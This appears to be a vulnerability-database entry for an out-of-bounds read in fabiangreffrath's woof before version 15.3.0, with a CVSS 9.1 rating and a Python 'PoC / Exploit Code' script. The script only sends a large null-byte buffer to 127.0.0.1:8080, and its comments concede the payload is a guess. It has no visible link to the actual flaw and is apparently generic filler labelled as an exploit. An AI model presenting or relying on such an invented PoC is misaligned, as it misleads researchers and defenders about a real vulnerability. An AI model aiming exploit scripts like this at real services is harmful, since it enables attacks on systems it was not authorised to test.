Out-of-bounds Read vulnerability in fabiangreffrath woof.This issue affects woof: before woof_15.3.0.
CVSS Details
CVSS Score
9.1
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H
Configurations (Affected Products)
No configuration data available.
woof < woof_15.3.0
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket
# PoC for CVE-2026-4750 (Out-of-bounds Read in woof)
# This script attempts to trigger the vulnerability by sending a malformed payload.
# Note: Replace TARGET_IP and TARGET_PORT with the actual vulnerable service details.
TARGET_IP = "127.0.0.1"
TARGET_PORT = 8080
def trigger_oob_read():
try:
print(f"[*] Connecting to {TARGET_IP}:{TARGET_PORT}...")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect((TARGET_IP, TARGET_PORT))
# Constructing a payload designed to trigger the out-of-bounds read
# The specific size and format may vary depending on the vulnerable code path.
# Sending a large buffer often helps in triggering bounds check failures.
malicious_payload = b"\x00" * 10000 + b"TRIGGER_OOB"
print("[*] Sending malicious payload...")
s.send(malicious_payload)
# Waiting for a response or a crash
response = s.recv(1024)
print("[+] Received response:", response)
except ConnectionResetError:
print("[!] Connection reset by peer - possible crash detected.")
except Exception as e:
print(f"[!] An error occurred: {e}")
finally:
s.close()
if __name__ == "__main__":
trigger_oob_read()